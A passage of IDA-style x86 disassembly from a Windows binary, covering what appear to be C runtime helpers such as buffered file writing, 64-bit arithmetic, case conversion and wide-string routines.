		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26B049Bh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		call	near ptr 26A0CA7h
		nop
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		call	near ptr 26A0CA7h
		nop
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
